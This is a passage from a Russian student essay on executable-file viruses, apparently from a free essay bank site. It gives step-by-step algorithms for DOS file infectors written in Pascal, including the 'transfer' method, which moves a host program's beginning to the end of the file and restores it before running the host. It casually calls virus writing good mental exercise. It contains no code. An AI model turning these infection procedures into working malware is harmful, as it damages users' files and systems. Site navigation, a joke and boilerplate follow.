15. Записать в этот файл тело программ ы из буфера . 16. Закры ть созданный файл . 17. Процедурой Ехес запустить созданный ф айл на исполнение - выполнится инфицированная программа . 18. После завершения работы программы соз данный файл удалить . 19. Вернуть управление в DOS. Вирусы - это хорошая гимнастика для ум а , хо тя многие думают , что написать ви рус на языке высокого уровня весьма трудн о . Это не совсем так . Писать на языке Pascal довольно легко , правда величина получен- ного кода вызывает благоговейный трепет . Внедрение способом переноса Вирусы данного типа размн ожаются следующим образом . Из инфициру- емой программы от начала файла считывается часть кода , по длине рав- ная длине вируса . На освобо дившееся место вписывается вирус, а оригинальное начало программы переносится в конец фай ла . Отсюда и название метода - "мет од переноса ". Есть и другие варианты . Иногд а, например , начало программы записывается в с ередину файла , а середина переносится в конец , чтобы еще сильнее все запутать . Превосхо дство дан- ного метода над другими описанными в том , что инфицированная про- грамма исполняется в том же виде , в каком она была до заражения, из файла с тем же именем и расширением . То есть прог раммы , проверя- ющие себя на предмет заражения вирусом , его не замечают . Корректно исполняют ся и такие программы , которые ищут свои файлы конфигура- ции с именами : ИМЯ _И _ПУТЬ _К _САМОЙ _ПРОГРАММЕ +.INI Недостаток данного метода проявляется при сбоях в работе компьюте- ра . Если при исполнении инфицированной программы компьютер "повиснет " или произойдет перезагрузка системы , инфицированная программа окажется "чистой ", то есть без вируса . Но , во-перв ых , "кто не рискует , тот не пьет шампанског о ", а во-вторых , программы виснут редко . Алгорит м работы такого вируса следующий : 1. О ткрыть файл , из которого получ ено управление . 2. Считать в буфер тело вируса . 3. Закрыть файл . 4. Найти файл-жертву . 5. Открыть файл-жертву . 6. Проверить файл на повторное заражение (здесь могут быть вариан- ты , но чаще всего используется сигнатура ). 7. Если файл уже инфицирован , перейти к пункту 3. 8. Считать в буфер из начала найденно го файла фрагмент программы, по длине равный телу вируса . 9. Записать в начало файла тело вирус а из буфера . 10. Дописать в конец файла считанное н ачало программы из буфера. Длина программы увеличилась на длину вируса . 11. Закрыть файл-жертву . 12. Открыть файл , из которого стартовали . 13. Считать в буфер начало инфицированной программы , расположен- ное в конце файла . 14. Записать считанное начало программы п оверх к ода вируса в начало файла . 15. Сократить файл до его оригинальной длины (то есть удалить часть кода , по д лине равную длине тела вируса , в конце файла ). 16. Закрыть файл . 17. Процедурой Ехес запустить стартовый ф айл (ParamStr(O)) на ис- полнение - выполн ится инфици рованная программа . 18. После завершения работы программы опя ть открыть стартовый файл . 19. Записать в начало файла тело вирус а , а оригинальное начало про- граммы опять переместить в конец файла . 20. Закрыть файл . 21. Вернуть управление в DO S.
1Архитектура и строительство
2Астрономия, авиация, космонавтика
 
3Безопасность жизнедеятельности
4Биология
 
5Военная кафедра, гражданская оборона
 
6География, экономическая география
7Геология и геодезия
8Государственное регулирование и налоги
 
9Естествознание
 
10Журналистика
 
11Законодательство и право
12Адвокатура
13Административное право
14Арбитражное процессуальное право
15Банковское право
16Государство и право
17Гражданское право и процесс
18Жилищное право
19Законодательство зарубежных стран
20Земельное право
21Конституционное право
22Конституционное право зарубежных стран
23Международное право
24Муниципальное право
25Налоговое право
26Римское право
27Семейное право
28Таможенное право
29Трудовое право
30Уголовное право и процесс
31Финансовое право
32Хозяйственное право
33Экологическое право
34Юриспруденция
 
35Иностранные языки
36Информатика, информационные технологии
37Базы данных
38Компьютерные сети
39Программирование
40Искусство и культура
41Краеведение
42Культурология
43Музыка
44История
45Биографии
46Историческая личность
47Литература
 
48Маркетинг и реклама
49Математика
50Медицина и здоровье
51Менеджмент
52Антикризисное управление
53Делопроизводство и документооборот
54Логистика
 
55Педагогика
56Политология
57Правоохранительные органы
58Криминалистика и криминология
59Прочее
60Психология
61Юридическая психология
 
62Радиоэлектроника
63Религия
 
64Сельское хозяйство и землепользование
65Социология
66Страхование
 
67Технологии
68Материаловедение
69Машиностроение
70Металлургия
71Транспорт
72Туризм
 
73Физика
74Физкультура и спорт
75Философия
 
76Химия
 
77Экология, охрана природы
78Экономика и финансы
79Анализ хозяйственной деятельности
80Банковское дело и кредитование
81Биржевое дело
82Бухгалтерский учет и аудит
83История экономических учений
84Международные отношения
85Предпринимательство, бизнес, микроэкономика
86Финансы
87Ценные бумаги и фондовый рынок
88Экономика предприятия
89Экономико-математическое моделирование
90Экономическая теория

 Анекдоты - это почти как рефераты, только короткие и смешные Следующий
У русских две мечты - избавить Россию от понаехавших и свалить из нее самим.
Anekdot.ru

Узнайте стоимость курсовой, диплома, реферата на заказ.

Обратите внимание, реферат по программированию "Exe-вирусы", также как и все другие рефераты, курсовые, дипломные и другие работы вы можете скачать бесплатно.

Смотрите также:


Банк рефератов - РефератБанк.ру
© РефератБанк, 2002 - 2016
Рейтинг@Mail.ru